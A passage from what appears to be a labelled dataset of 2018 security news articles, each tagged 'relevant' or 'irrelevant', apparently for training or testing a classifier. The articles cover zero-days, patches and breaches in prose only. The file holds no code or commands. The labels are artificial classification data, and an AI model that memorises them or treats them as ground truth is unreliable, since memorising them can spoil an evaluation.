at least in countries with highly volatile political issues, we believe WhatsApp should fix these problems along with putting limits on the forwarded messages.",relevant
"Hacker Discloses Unpatched Windows Zero-Day Vulnerability (With PoC) A security researcher has publicly disclosed the details of a previously unknown zero-day vulnerability in the Microsoft's Windows operating system that could help a local user or malicious program obtain system privileges on the targeted machine. And guess what? The zero-day flaw has been confirmed working on a ""fully-patched 64-bit Windows 10 system."" The vulnerability is a privilege escalation issue which resides in the Windows' task scheduler program and occured due to errors in the handling of Advanced Local Procedure Call (ALPC) systems. Advanced local procedure call (ALPC) is an internal mechanism, available only to Windows operating system components, that facilitates high-speed and secure data transfer between one or more processes in the user mode. The revelation of the Windows zero-day came earlier today from a Twitter user with online alias SandboxEscaper, who also posted a link to a Github page hosting a proof-of-concept (PoC) exploit for the privilege escalation vulnerability in Windows. ""Here is the alpc bug as 0day: https://t.co/m1T3wDSvPX I don't fucking care about life anymore. Neither do I ever again want to submit to MSFT anyway. Fuck all of this shit,"" SandboxEscaper tweeted (archive), which has now been deleted. Zero-Day Works Well on Fully-Patched 64-Bit Windows 10 PC Shortly after that, CERT/CC vulnerability analyst Will Dormann verified the authenticity of the zero-day bug, and tweeted: ""I've confirmed that this works well in a fully-patched 64-bit Windows 10 system. LPE right to SYSTEM!"" According to a short online advisory published by CERT/CC, the zero-day flaw, if exploited, could allow local users to obtain elevated (SYSTEM) privileges. Since Advanced Local Procedure Call (ALPC) interface is a local system, the impact of the vulnerability is limited with a CVSS score of 6.4 to 6.8, but the PoC exploit released by the researcher could potentially help malware authors to target Windows users. SandboxEscaper did not notify Microsoft of the zero-day vulnerability, leaving all Windows users vulnerable to the hackers until a security patch is release by the tech giant to address the issue. Microsoft is likely to patch the vulnerability in its next month's security Patch Tuesday, which is scheduled for September 11. The CERT/CC notes it is currently unaware of any practical solution to this zero-day bug.",relevant
"Flaw in 4GEE WiFi Modem Could Leave Your Computer Vulnerable A high-severity vulnerability has been discovered in 4G-based wireless 4GEE Mini modem sold by mobile operator EE that could allow an attacker to run a malicious program on a targeted computer with the highest level of privileges in the system. The vulnerability—discovered by 20-year-old Osanda Malith, a Sri Lankan security researcher at ZeroDayLab—can be exploited by a low privileged user account to escalate privileges on any Windows computer that had once connected to the EE Mini modem via USB. This, in turn, would allow an attacker to gain full system access to the targeted remote computer and thereby, perform any malicious actions, such as installing malware, rootkits, keylogger, or stealing personal information. 4G Mini WiFi modem is manufactured by Alcatel and sold by EE, a mobile operator owned by BT Group— Britain's largest digital communications company that serves over 31 million connections across its mobile, fixed and wholesale networks. How Does the Attack Work? The local privilege escalation flaw, tracked as CVE-2018-14327, resides in the driver files installed by EE 4G Mini WiFi modem on a Windows system and originates because of folder permissions, allowing any low privileged user to ""read, write, execute, create, delete do anything inside that folder and it's subfolders."" For successful exploitation of the vulnerability, all an attacker or malware just needs to do is replace ""ServiceManager.exe"" file from the driver folder with a malicious file to trick the vulnerable driver into executing it with higher SYSTEM privileges after reboot. Malith also posted a video demonstration showing that how attackers can exploit this flaw to escalate their privileges on a Windows machine to gain a reverse shell. ""An attacker can plant a reverse shell from a low privileged user account and by restarting the computer, the malicious service will be started as ""NT AUTHORITY\SYSTEM"" by giving the attacker full system access to the remote PC,"" he explains in his blog. Patch Your 4G Wi-Fi Mini Modems The researcher reported the vulnerability to EE and Alcatel in July, and the company acknowledged the issue and rolled out a firmware patch earlier this month to address the vulnerability. If you own a G-based wireless 4GEE Mini modem from EE, you are advised to update the firmware modem to the latest ""EE40_00_02.00_45"" version and remove previous vulnerable versions. 4GEE WiFi Modem Follow these simple steps to update your 4GEE Mini modem to the latest patch update: Go to your router's default gateway: https://192.168.1.1. Click on the ""Check for Update"" to update your firmware. Once updated to the patched software version EE40_00_02.00_45, remove the previously installed software version from your computer. For more details on the vulnerability, you can head on to Malith's blog, and the detailed advisory released by ZeroDayLab.",relevant
"Adobe Issues ColdFusion Software Update for 6 Critical Vulnerabilities Adobe has released September 2018 security patch updates for a total of 10 vulnerabilities in Flash Player and ColdFusion, six of which are rated as critical that affected ColdFusion and could allow attackers to remotely execute arbitrary code on a vulnerable server. What's the good news this month for Adobe users? This month Adobe Acrobat and Reader applications did not receive any patch update, while Adobe Flash Player has received an update for just a single privilege escalation vulnerability (CVE-2018-15967) rated as important. Secondly, Adobe said none of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild. Total 9 Security Patches for Adobe ColdFusion Adobe has addressed a total of nine security vulnerabilities in its ColdFusion web application development platform, six of which are critical, two important and one moderate. According to the advisory released by Adobe, ColdFusion contained four critical deserialization of untrusted data vulnerabilities (CVE-2018-15965, CVE-2018-15957, CVE-2018-15958, CVE-2018-15959) that could result in arbitrary code execution. Out of the remaining two critical vulnerabilities addressed in ColdFusion, one is unrestricted file upload flaw (CVE-2018-15961) that could lead to arbitrary code execution, and the other (CVE-2018-15960) could enable arbitrary file overwrite. The company has also released patches for two ""important"" security vulnerabilities in ColdFusion--security bypass glitch (CVE-2018-15963) that allows arbitrary folder creation, and directory listing flaw (CVE-2018-15962) that could enable information disclosure--and a moderate information disclosure bug (CVE-2018-15964). The vulnerabilities impact 2016 (Update 6 and earlier versions) and the July 12 (2018) release of ColdFusion, along with ColdFusion 11 (Update 14 and earlier versions). Adobe recommends end users and administrators to update their installations to ColdFusion 2018 Update 1, ColdFusion 2016 Update 7, and ColdFusion 11 Update 15. Adobe Also Patches An important Flaw In Flash Player Besides ColdFusion, Adobe also released a security update for Flash Player for Windows, macOS, Linux, and Chrome OS, addressing an ""important"" flaw in all for versions 30.0.0.154 and earlier for Google Chrome, Desktop Runtime, Microsoft Edge and Internet Explorer 11. The issue is a privilege escalation vulnerability (CVE-2018-15967) that could lead to information disclosure. The company recommends Flash Player users to update to version 31.0.0.208 as soon as possible.",relevant
"ex-NSA Hacker Discloses macOS Mojave 10.14 Zero-Day Vulnerability The same day Apple released its latest macOS Mojave operating system, a security researcher demonstrated a potential way to bypass new privacy implementations in macOS using just a few lines of code and access sensitive user data. On Monday, Apple started rolling out its new macOS Mojave 10.14 operating system update to its users, which includes a number of new privacy and security controls, including authorization prompts. Mojave 10.14 now pops up authorization prompts that require direct and real user interaction before any unprivileged third-party application can tap into users' sensitive information, such as address books, location data, message archives, Mail, and photos. Patrick Wardle, an ex-NSA hacker and now chief research officer at Digita Security, discovered a zero-day flaw that could allow an attacker to bypass authorization prompts and access users' personal information by using an unprivileged app. Wardle tweeted a video Monday showing how he was able to bypass the permission requirements on a dark-themed Mojave system by running just a few lines of code simulating a malicious app called ""breakMojave,"" which allowed him to access to the address book and copy it to the macOS desktop. However, Wardle goes on to say that not just Mojave's Dark Mode, but all modes are affected by the privacy bypass vulnerability. ""Mojave's 'dark mode' is gorgeous...but its promises about improved privacy protections? kinda #FakeNews,"" Wardle tweeted with a link to a minute-long Vimeo video. Well, the privacy bypass flaw in Mojave seems to be concerning due to its simplicity of carrying out personal data pilfering, with no permissions required. It should be noted that the flaw does not work with all of the new privacy protection features implemented by Apple in macOS Mojave, and hardware-based components, like the webcam and microphone, are not affected. Since there is no public macOS bounty program to report the vulnerabilities, Wardle said on Twitter that he's still looking for a way to report the flaw to Apple. Wardle has not released details beyond just the proof-of-concept video until the company patches the issue in order to prevent abuse. Until then, Mojave users are recommended to be cautious about what apps they run. Wardle is set to release more technical details of the vulnerability in his upcoming Mac Security conference in November. Last month, Wardle publicly disclosed a different macOS zero-day flaw that could allow a malicious application installed on a targeted Mac system running Apple's High Sierra operating system to virtually ""click"" objects without any user interaction or consent, leading to full system compromise.",relevant
"Bitcoin Core Software Patches a Critical DDoS Attack Vulnerability The Bitcoin Core development team has released an important update to patch a major DDoS vulnerability in its underlying software that could have been fatal to the Bitcoin Network, which is usually known as the most hack-proof and secure blockchain. The DDoS vulnerability, identified as CVE-2018-17144, has been found in the Bitcoin Core wallet software, which could potentially be exploited by anyone capable of mining BTC to crash Bitcoin Core nodes running software versions 0.14.0 to 0.16.2. In other words, Bitcoin miners could have brought down the entire blockchain either by overflooding the block with duplicate transactions, resulting in blockage of transaction confirmation from other people or by flooding the nodes of the Bitcoin P2P network and over-utilizing the bandwidth. The vulnerability had been around since March last year, but the team says nobody noticed the bug or nobody was willing to incur the expense of exploiting it. According to the bitcoin core developers, all recent versions of the BTC system are possibly vulnerable to the Distributed Denial of Service (DDoS) attacks, though there's a catch—attacking Bitcoin is not cheap. The DDoS attack on the BTC network would cost miners 12.5 bitcoins, which is equal to almost $80,000 (£60,000), in order to perform successfully. The Bitcoin Core team has patched the vulnerability and are urging miners to update with the latest Bitcoin Core 0.16.3 version as soon as possible. ""A denial-of-service vulnerability (CVE-2018-17144) exploitable by miners has been discovered in Bitcoin Core versions 0.14.0 up to 0.16.2. It is recommended to upgrade any of the vulnerable versions to 0.16.3 as soon as possible,"" the vulnerability note reads. Although the team says that the miners running Bitcoin Core only occasionally are not in danger of such attacks, it would obviously be recommended to upgrade to the latest software version as soon as possible just to be on the safe side. In addition to the DDoS vulnerability, the latest version also includes patches for a non-insignificant number of minor bugs, related to consensus, RPC and other APIs, invalid error flags, and documentation. After upgrading to the latest version—the process that will take five minutes to half an hour depending upon the processing power of your computer—users should note that the new wallet will have to redownload the entire blockchain.",relevant
"British Airways Hacked – 380,000 Payment Cards Compromised British Airways, who describes itself as ""The World's Favorite Airline,"" has confirmed a data breach that exposed personal details and credit-card numbers of up to 380,000 customers and lasted for more than two weeks. So who exactly are victims? In a statement released by British Airways on Thursday, customers booking flights on its website (ba.com) and British Airways mobile app between late 21 August and 5 September were compromised. The airline advised customers who made bookings during that 15 days period and believe they may have been affected by this incident to ""contact their banks or credit card providers and follow their recommended advice."" British Airways stated on its Twitter account that personal details stolen in the breach included their customers' names and addresses, along with their financial information, but the company assured its customers that the hackers did not get away with their passport numbers or travel details. The company also said that saved cards on its website and mobile app are not compromised in the breach. Only cards that have been used by you to make booking payments during the affected period are stolen. ""We are investigating, as a matter of urgency, the theft of customer data from our website and our mobile app,"" the company said in a statement. ""The stolen data did not include travel or passport details."" Although the statement released by the did not mention the number of affected customers, the company's spokesperson confirmed to the media that some 380,000 payment cards were compromised in the breach. Also currently, it is not clear how the data breach occurred, but some media outlets are reporting that the breach was identified when ""a third party noticed some unusual activity"" and informed the company about it. A spokesperson from British Airways confirmed The Hacker News that ""this is data theft, rather than a breach,"" which suggests someone with privileged access to the data might have stolen it. British Airways also informed the police and the Information Commissioner and currently reaching out to affected customers directly. However, the company assured its customers that the security breach has now been resolved, and its website is working normally and is now safe for passengers to check-in online, and book flights online. The National Crime Agency is aware of the British Airways data breach and is ""working with partners to assess the best course of action."" Air Canada also suffered a severe data breach late last month, which, along with personal data, also exposed passport number and other passport and travel details of about 20,000 mobile app customers.",irrelevant
"Beware! Unpatched Safari Browser Hack Lets Attackers Spoof URLs A security researcher has discovered a serious vulnerability that could allow attackers to spoof website addresses in the Microsoft Edge web browser for Windows and Apple Safari for iOS. While Microsoft fixed the address bar URL spoofing vulnerability last month as part of its monthly security updates, Safari is still unpatched, potentially leaving Apple users vulnerable to phishing attacks. The phishing attacks today are sophisticated and increasingly more difficult to spot, and this newly discovered vulnerability takes it to another level that can bypass basic indicators like URL and SSL, which are the first things a user checks to determine if a website is fake. Discovered by Pakistan-based security researcher Rafay Baloch, the vulnerability (CVE-2018-8383) is due to a race condition type issue caused by the web browser allowing JavaScript to update the page address in the URL bar while the page is loading. Here's How the URL Spoofing Vulnerability Works Successful exploitation of the flaw could potentially allow an attacker to initially start loading a legitimate page, which would cause the page address to be displayed in the URL bar, and then quickly replace the code in the web page with a malicious one. ""Upon requesting data from a non-existent port the address was preserved and hence a due to race condition over a resource requested from non-existent port combined with the delay induced by setInterval function managed to trigger address bar spoofing,"" Baloch explains on his blog. ""It causes the browser to preserve the address bar and to load the content from the spoofed page. The browser will however eventually load the resource, however the delay induced with setInterval function would be enough to trigger the address bar spoofing."" Since the URL displayed in the address bar does not change, the phishing attack would be difficult for even a trained user to detect. Using this vulnerability, an attacker can impersonate any web page, including Gmail, Facebook, Twitter, or even bank websites, and create fake login screens or other forms to steal credentials and other data from users, who see the legitimate domain in the address bar. Baloch created a proof-of-concept (PoC) page to test the vulnerability, and observed that both Microsoft Edge and Apple Safari browsers ""allowed javascript to update the address bar while the page was still loading."" Proof-of Concept Video Demonstrations The researcher has also published proof of concept videos for both Edge and Safari: According to Baloch, both Google Chrome and Mozilla Firefox web browsers are not affected by this vulnerability. While Microsoft had already patched the issue last month with its Patch Tuesday updates for August 2018, Baloch has yet to get a response from Apple about the flaw he reported to the company back on June 2. The researcher disclosed the full technical details of the vulnerability and proof-of-concept (PoC) code for Edge only after the 90-day disclosure window, but he is holding the proof-of-concept code for Safari until Apple patches the issue in the upcoming version of Safari.",relevant
"Cisco Issues Security Patch Updates for 32 Flaws in its Products Cisco today released thirty security patch advisory to address a total of 32 security vulnerabilities in its products, three of which are rated critical, including the recently disclosed Apache Struts remote code execution vulnerability that is being exploited in the wild. Out of the rest 29 vulnerabilities, fourteen are rated high and 15 medium in severity, addressing security flaws in Cisco Routers, Cisco Webex, Cisco Umbrella, Cisco SD-WAN Solution, Cisco Cloud Services Platform, Cisco Data Center Network, and more products. The three critical security vulnerabilities patched by Cisco address issues in Apache Struts, Cisco Umbrella API, and Cisco RV110W, RV130W and RV215W router's management interface. Apache Struts Remote Code Execution Vulnerability (CVE-2018-11776) The vulnerability, reported late last month by Semmle security researcher Man Yue Mo, resides in the core of Apache Struts and originates due to insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. ""The vulnerability exists because the affected software insufficiently validates user-supplied input, allowing the use of results with no namespace value and the use of url tags with no value or action,"" Cisco explains in its advisory. ""In cases where upper actions or configurations also have no namespace or a wildcard namespace, an attacker could exploit this vulnerability by sending a request that submits malicious input to the affected application for processing."" An unauthenticated, remote attacker can trigger the vulnerability by tricking victims to visit a specially crafted URL on the affected web server, allowing the attacker to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. All applications that use Apache Struts—supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions—are potentially vulnerable to this flaw, even when no additional plugins have been enabled. Apache Struts patched the vulnerability with the release of Struts versions 2.3.35 and 2.5.17 last month. Now, Cisco has also released fixes to address the issue in its several products. You can check the list of vulnerable Cisco products here. Since there are no workarounds for this issue, organizations and developers are strongly advised to update their Struts components as soon as possible. Cisco Umbrella API Unauthorized Access Vulnerability (CVE-2018-0435) The second critical vulnerability patched by Cisco resides in the Cisco Umbrella API that could allow an authenticated, remote attacker to view and modify data across their organization as well as other organizations. Cisco Umbrella is a cloud security platform that provides the first line of defense against threats over all ports and protocols by blocking access to malicious domains, URLs, IPs, and files before a connection is ever established or a file is downloaded. The vulnerability resides due to insufficient authentication configurations for the API interface of Cisco Umbrella, and successful exploitation could allow an attacker to read or modify data across multiple organizations. Cisco has patched the vulnerability addressed this vulnerability in the Cisco Umbrella production APIs. No user action is required. Cisco Routers Management Interface Buffer Overflow Vulnerability (CVE-2018-0423) The last, but not the least, critical vulnerability resides in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router that could allow an unauthenticated, remote attacker to execute arbitrary code or cause a DoS condition. The flaw occurs due to improper boundary restrictions on user-supplied input in the Guest user feature of the web-based management interface. To exploit this vulnerability, an attacker can send malicious requests to a targeted device, triggering a buffer overflow condition. ""A successful exploit could allow the attacker to cause the device to stop responding, resulting in a denial of service condition, or could allow the attacker to execute arbitrary code,"" the company explains. This vulnerability affects all releases of Cisco RV110W Wireless-N VPN Firewall, RV130W Wireless-N Multifunction VPN Router, and RV215W Wireless-N VPN Router. Cisco has addressed this vulnerability in firmware release 1.0.3.44 for the Cisco RV130W Wireless-N Multifunction VPN Router, and will not release firmware updates for the Cisco RV110W Wireless-N VPN Firewall and Cisco RV215W Wireless-N VPN Router. According to the company's Product Security Incident Response Team (PSIRT), Apache Struts is being exploited in the wild, while the team is not aware of any exploits leveraging the other two critical flaws. The Bottom Line: Patch! Patch! Patch!",relevant
"19-Year-Old Hacker Arrested Over Making Hoax School and Flight Bomb Threats British police have arrested a 19-year-old teen who is an alleged member of Apophis Squad cybercriminal group responsible for making hoax bomb threats to thousands of schools and airlines; and DDoSing ProtonMail and Tutanota secure email services. George Duke-Cohan was arrested in his bedroom at his family home in Watford by British National Crime Agency (NCA) on 31st August and pledged guilty to three counts of making bomb threats to schools and airlines in Luton Magistrates' Court on Monday. Duke-Cohan spammed out more than 24,000 emails to schools across the UK and in the US as well, claiming that pipe bombs had been planted on the premises, which would blow up the building if $5,000 extortion money was not made within 3 hours. He Got Arrested Third-Time For Making Hoax Bomb Threats This is not the first time Duke-Cohan has been arrested for spreading fake bomb threats. He first created panic in March this year when he emailed thousands of schools in the UK warning about an explosive, which resulted in 400 schools across the country being evacuated. Duke-Cohan was then arrested in April for the first time. However, while under investigation, he sent another batch of hoax emails (24,000 emails in total) to schools in the United States and the UK, claiming that pipe bombs had been planted on the premises. Duke-Cohan was arrested for the second time for making further hoax bomb threats. He was then released on bail under the condition he did not use any electronic device. However, while on bail for the two previous offenses, Duke-Cohan posing as a concerned father phoned San Francisco Airport and their police officers, claiming that his daughter told him her flight was hijacked by gunmen, one of whom has a bomb. The plane, United Airlines Flight 949 between the UK and San Francisco, was then forced to quarantined and extensively searched, which led to disruption to all 295 passengers journeys and financial loss to the airline. Duke-Cohan was arrested for the third time at his home in Watford, Hertfordshire, on 31 August and found to be in possession of multiple electronic devices, despite the restrictions in place. He Is Also A Key Member of 'Apophis Squad' Criminal Group At the time of Duke-Cohan's third hoax, a Hacker group calling itself Apophis Squad claimed flight UA949 was grounded due to their actions in a post on Twitter on August 9. A blog post published today by ProtonMail also confirms that Duke-Cohan was a key member of Apophis Squad, the same criminal group which was also involved in cyberattacks against ProtonMail, which remained under attack through much of August. ProtonMail strongly states that the service is committed to privacy, security, and freedom of information, but the same does not apply to people who are engaged in criminal activities, and ""will actively pursue all those who try to harm ProtonMail and bring them to justice."" ""To fulfill this commitment, we are willing to commit all necessary financial, legal, and technical resources,"" the company states. While investigating the attacks against its secure mailing service, ProtonMail discovered that some members of Apophis Squad were also ProtonMail users, which was confirmed when a number of law enforcement agencies submitted MLAT requests, asking the company to ""render assistance to the extent that is possible given ProtonMail encryption."" ""What we found, combined with intelligence provided by a trusted source, allowed us to conclusively identify Duke-Cohan as a member of Apophis Squad in the first week of August, and we promptly informed law enforcement,"" ProtonMail says. However, the British police did not immediately arrest Duke-Cohan until his third hoax involving United Airlines Flight 949, making it necessary for British police to take action and detain Duke-Cohan. On Monday, Duke-Cohan pleaded guilty in a UK court to three counts of making bomb threats to schools and airlines, and ProtonMail also believes he could possibly be extradited to the US to face charges. Duke-Cohan has been remanded in custody and will be sentenced at Luton Crown Court on September 21. Meanwhile, ProtonMail said several other hackers who were behind DDoS ​​attacks against its service were also identified and the authorities are working together to prosecute them.",irrelevant
"New Cold Boot Attack Unlocks Disk Encryption On Nearly All Modern PCs Security researchers have revealed a new attack to steal passwords, encryption keys and other sensitive information stored on most modern computers, even those with full disk encryption. The attack is a new variation of a traditional Cold Boot Attack, which is around since 2008 and lets attackers steal information that briefly remains in the memory (RAM) after the computer is shut down. However, to make the cold boot attacks less effective, most modern computers come bundled with a safeguard, created by the Trusted Computing Group (TCG), that overwrites the contents of the RAM when the power on the device is restored, preventing the data from being read. Now, researchers from Finnish cyber-security firm F-Secure figured out a new way to disable this overwrite security measure by physically manipulating the computer's firmware, potentially allowing attackers to recover sensitive data stored on the computer after a cold reboot in a matter of few minutes. ""Cold boot attacks are a known method of obtaining encryption keys from devices. But the reality is that attackers can get their hands on all kinds of information using these attacks. Passwords, credentials to corporate networks, and any data stored on the machine are at risk,"" the security firm warns in a blog post published today. Video Demonstration of the New Cold Boot Attack Using a simple tool, researchers were able to rewrite the non-volatile memory chip that contains the memory overwrite settings, disable it, and enable booting from external devices. You can also watch the video demonstration performing the attack below. Like the traditional cold boot attack, the new attack also requires physical access to the target device as well as right tools to recover remaining data in the computer's memory. ""It's not exactly easy to do, but it is not a hard enough issue to find and exploit for us to ignore the probability that some attackers have already figured this out,"" says F-Secure principal security consultant Olle Segerdahl, one the two researchers. ""It's not exactly the kind of thing that attackers looking for easy targets will use. But it is the kind of thing that attackers looking for bigger phish, like a bank or large enterprise, will know how to use."" How Microsoft Windows and Apple Users Can Prevent Cold Boot Attacks cold boot attack on full disk encryption According to Olle and his colleague Pasi Saarinen, their new attack technique is believed to be effective against nearly all modern computers and even Apple Macs and can't be patched easily and quickly. The two researchers, who will present their findings today at a security conference, say they have already shared their findings with Microsoft, Intel, and Apple, and helped them explore possible mitigation strategies. Microsoft updated its guidance on Bitlocker countermeasures in response to the F-Secure's findings, while Apple said that its Mac devices equipped with an Apple T2 Chip contain security measures designed to protect its users against this attack. But for Mac computers without the latest T2 chip, Apple recommended users to set a firmware password in order to help harden the security of their computers. Intel has yet to comment on the matter. The duo says there's no reliable way to ""prevent or block the cold boot attack once an attacker with the right know-how gets their hands on a laptop,"" but suggest the companies can configure their devices so that attackers using cold boot attacks won't find anything fruitful to steal. Meanwhile, the duo recommends IT departments to configure all company computers to either shut down or hibernate (not enter sleep mode) and require users to enter their BitLocker PIN whenever they power up or restore their PCs. Attackers could still perform a successful cold boot attack against computers configured like this, but since the encryption keys are not stored in the memory when a machine hibernates or shuts down, there will be no valuable information for an attacker to steal.",relevant
"Ransomware Attack Takes Down Bristol Airport's Flight Display Screens Bristol Airport has blamed a ransomware attack for causing a blackout of flight information screens for two days over the weekend. The airport said that the attack started Friday morning, taking out several computers over the airport network, including its in-house display screens which provide details about the arrival and departure information of flights. The attack forced the airport officials to take down its systems and use whiteboards and paper posters to announce check-in and arrival information for flights going through the airport and luggage pickup points for all Friday, Saturday, and the subsequent night. ""We are currently experiencing technical problems with our flight information screens,"" a post on the Bristol Airport's official Twitter feed read on Friday. ""Flights are unaffected and details of check-in desks, boarding gates, and arrival/departure times will be made over the public address system. Additional staff are on hand to assist passengers."" The airport also urged passengers to arrive early and ""allow extra time for check-in and boarding processes,"" though this two days technical meltdown caused delays in baggage handling, with customers needed to wait longer than one hour for their bags. However, no flight delays were reportedly caused due to the cyber attack. An airport spokesman said that the information screens went offline due to a so-called ""ransomware"" attack, though he confirmed that no ""ransom"" had been paid to get the airport systems working again. Affected systems and flight information screens were finally restored on Sunday, officials said. ""We are grateful to passengers for their patience while we have been working to resolve issues with flight information this weekend. Digital screens are now live in arrivals and departures. Work will continue to restore complete site-wide coverage as soon as possible,"" the airport tweeted on Sunday. At the moment, it is not clear how the ransomware got into the airport systems. Bristol is carrying out an investigation to find out what happened.",irrelevant
"UK Regulator Fines Equifax £500,000 Over 2017 Data Breach Atlanta-based consumer credit reporting agency Equifax has been issued a £500,000 fine by the UK's privacy watchdog for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers. Yes, £500,000—that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company. In July this year, the UK's data protection watchdog issued the maximum allowed fine of £500,000 on Facebook over the Cambridge Analytica scandal, saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands. Flashback: The Equifax Data Breach 2017 Equifax suffered a massive data breach last year between mid-May and the end of July, exposing highly sensitive data of as many as 145 million people globally. The stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers. The data breach occurred because the company failed to patch a critical Apache Struts 2 vulnerability (CVE-2017-5638) on time, for which patches were already issued by the respected companies. Why U.K. Has Fined a US Company? The UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now issued its largest possible monetary penalty under the country's Data Protection Act for the massive data breach—£500,000, which equals to around $665,000. The ICO said that although the cyber attack compromised Equifax systems in the United States, the company ""failed to take appropriate steps"" to protect the personal information of its 15 million UK customers. The ICO investigation revealed ""multiple failures"" at the company like keeping users' personal information longer than necessary, which resulted in: 19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed. 637,430 UK customers had their names, dates of birth and telephone numbers exposed. Up to 15 million UK customers had names and dates of birth exposed. Some 27,000 Britishers also had their Equifax account email addresses swiped. 15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers. Breach Was Result of Multiple Failures at Equifax The ICO said that Equifax had also been warned about a critical Apache Struts 2 vulnerability in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue. Initially, it was also reported that the company kept news of the breach hidden for a month after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims. Since the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of £500,000 imposed under the UK's old Data Protection Act 1998 is still lesser. The penalty could have been much larger had it fallen under GDPR, wherein a company could face a maximum fine of 20 million euros or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach. In response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is ""disappointed in the findings and the penalty."" Equifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.",irrelevant
"Facebook Hacked — 10 Important Updates You Need To Know About If you also found yourself logged out of Facebook on Friday, you are not alone. Facebook forced more than 90 million users to log out and back into their accounts in response to a massive data breach. On Friday afternoon, the social media giant disclosed that some unknown hackers managed to exploit three vulnerabilities in its website and steal data from 50 million users and that as a precaution, the company reset access tokens for nearly 90 million Facebook users. We covered a story yesterday based upon the information available at that time. Facebook Hack: 10 Important Updates You Need To Know About However, in a conference call [Transcript 1, Transcript 2] with reporters, Facebook vice president of product Guy Rosen shared a few more details of the terrible breach, which is believed to be the most significant security blunder in Facebook's history. Here's below we have briefed the new developments in the Facebook data breach incident that you need to know about: 1.) Facebook Detected Breach After Noticing Unusual Traffic Spike — Earlier this week, Facebook security team noticed an unusual traffic spike on its servers, which when investigated revealed a massive cyber attack, that had been ongoing since 16 September, aimed at stealing data of millions of Facebook users. 2.) Hackers Exploited Total 3 Facebook Vulnerabilities — The hack was accomplished using three distinct bugs of Facebook in combination. The first bug incorrectly offered users a video uploading option within certain posts that enables people to wish their friends 'Happy Birthday,' when accessed on ""View As"" page. The second bug was in the video uploader that incorrectly generated an access token that had permission to log into the Facebook mobile app, which is otherwise not allowed. The third bug was that the generated access token was not for you as the viewer, but for the user that you were looking up, giving attackers an opportunity to steal the keys to access an account of the person they were simulating. 3.) Hackers Stole Secret Access Tokens for 50 Million Accounts — The attackers walked away with secret access tokens for as many as 50 million Facebook users, which could then be used to take over accounts. Access Tokens ""are the equivalent of digital keys that keep people logged in to Facebook, so they don't need to re-enter their password every time they use the app."" 4.) Your Facebook Account Password Has Not Been Compromised, But, Wait! — The good news is that the attack did not reveal your Facebook account passwords, but here's the bad news — it's not even required. An application or an attacker can use millions of secret access tokens to programmatically fetch information from each account using an API, without actually having your password or two-factor authentication code. 5.) Hackers Downloaded Users' Private Information Using Facebook API — Although it is not clear how many accounts and what personal information was accessed by hackers before Facebook detected the incident, the year-old vulnerabilities had left all your personal information, private messages, photos and videos wide open for hackers. ""Since we've only just started our investigation, we have yet to determine whether these accounts were misused or any information accessed,"" the company said. 6.) Your ""Logged in as Facebook"" Accounts at 3rd-Party Apps/Websites Are At Risk — Since secret tokens enabled attackers to access accounts as the account holder themselves, it could have allowed them to access other third-party apps that were using Facebook login — a feature that lets you sign up for, and log in to, other online services using your Facebook credentials. 7.) Facebook Reset Access Tokens for 90 Million Accounts — In response to the massive breach, Facebook reset access tokens for nearly 50 million affected Facebook accounts and an additional 40 million accounts, as a precaution. This means that nearly 90 Million Facebook users were logged out of their accounts on Friday. 8.) Check Active Sessions on Facebook to Find If Your Account Have Been Hacked — Many Facebook users have noticed unknown IP addresses from foreign locations that apparently had accessed their account unauthorizedly. You can head on to ""Account Settings → Security and Login → Where You're Logged In"" to review the list of devices and their location that have accessed your Facebook account. If you found any suspicious session that you never logged in, you can revoke back the access in just one click. 9.) Breach Isn't Connected to the Hacker Who Pledged to Delete Zuckerberg's Personal Page — Earlier this week, a Taiwanese hacker, Chang Chi-Yuang, claimed that he would demonstrate a critical zero-day vulnerability in Facebook by broadcasting himself hacking Mark Zuckerberg's Facebook page on Sunday. However, it is not clear whether the latest Facebook breach has anything to do with Chang's hack, at least Facebook does not believe so. Besides this, Chang Chi-Yuang Today says he canceled the stream and reported the bug to Facebook. 10.) Facebook Faces Class-Action Lawsuit Over The Massive Hack — Just after the news of the breach went public, two residents, Carla Echavarria from California and another from Virginia, filed a class-action complaint against the social media giant in US District Court for the Northern District of California. Both allege that Facebook failed to protect their and additional potential class members data from going into wrong hands due to its lack of proper security practices. The social media giant has already been facing criticism on handling of user data and its privacy policies in the wake of the Cambridge Analytica scandal, in which personal data of 87 million Facebook users was sold to and misused by a data-mining firm without their consent. Facebook has already reset account logins for tens of millions of users and is also advising affected users who had Instagram or Oculus accounts linked to their Facebook account to de-link and than link those accounts again so that the access tokens can be changed. The vulnerabilities exploited by the hackers are fixed, and Facebook is working with the FBI to investigate the security incident, which has impacted approximately 2.5% of Facebook users of its over 2 billion user base. Since the investigation is still in the early stages, Facebook has yet to determine whether the attackers misused the stolen access tokens for 50 million accounts or if any information was accessed.",irrelevant
